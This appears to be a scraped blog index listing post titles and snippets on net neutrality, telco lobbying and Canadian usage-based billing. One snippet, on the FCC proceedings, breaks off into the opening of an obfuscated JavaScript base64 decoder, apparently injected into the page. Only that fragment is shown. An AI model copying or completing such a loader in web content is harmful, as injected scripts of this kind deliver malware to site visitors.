In 2009, I was lucky and flattered enough to be invited to speak at Freedom to Connect, the telecom policy organised in Washington
F2C, the must-attend telecom policy conference
A slap in the face of Net Discrimination lobbyists
In the wake of AT Kearney's infamous report A Viable Future Model for the Internet, many analysts, journalists and activists pointed out
Net Neutrality is Good for Telcos
I was interviewed last Friday by dutch web newspaper Web Wereld about Net Neutrality. You are no doubt aware that the Netherlands
Net discrimination won’t buy you next-generation access
A number of highly visible telcos are pushing policy makers to adopt net discrimination rules so that they can earn revenue from content providers using their networks to deliver content to end users. Otherwise, they say, they won’t be able
The UBB Deception exposed
The Canadian UBB scandal is still ongoing,
How Net Discrimination Works (Or Doesn’t Work…)
I'm increasingly puzzled by the net discrimination stance that a number of European Incumbents have started to push forward in the last few months despite mounting evidence that the "alternative business model for the internet" that they are pushing forward
Reports of the telco’s death are exaggerated
In one of my briefings with a leading vendor last week in Milan, I asked them if they had a strategic response to the eventuality of one of more incumbents going bust in the next five years. Their first answer
Internet Service Guarantees is What Net Neutrality (and consumers) Need
For a number of weeks I've been itching to write a piece on the revival of the so-called Net Neutrality proceedings by the US FCC. I stalled because I wanted to read Chairman Genachowski's remarks on function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var
Arroseur Arrosé…
L'Arroseur Arrosé was one of the first ever movies to be filmed and shown in cinemas by the Lumière brothers in 1895.
The Slow Suicide of Net Discrimination
The whole net neutrality debate is heating up again, both in Europe and the US. As usual, the positions are quite clear: application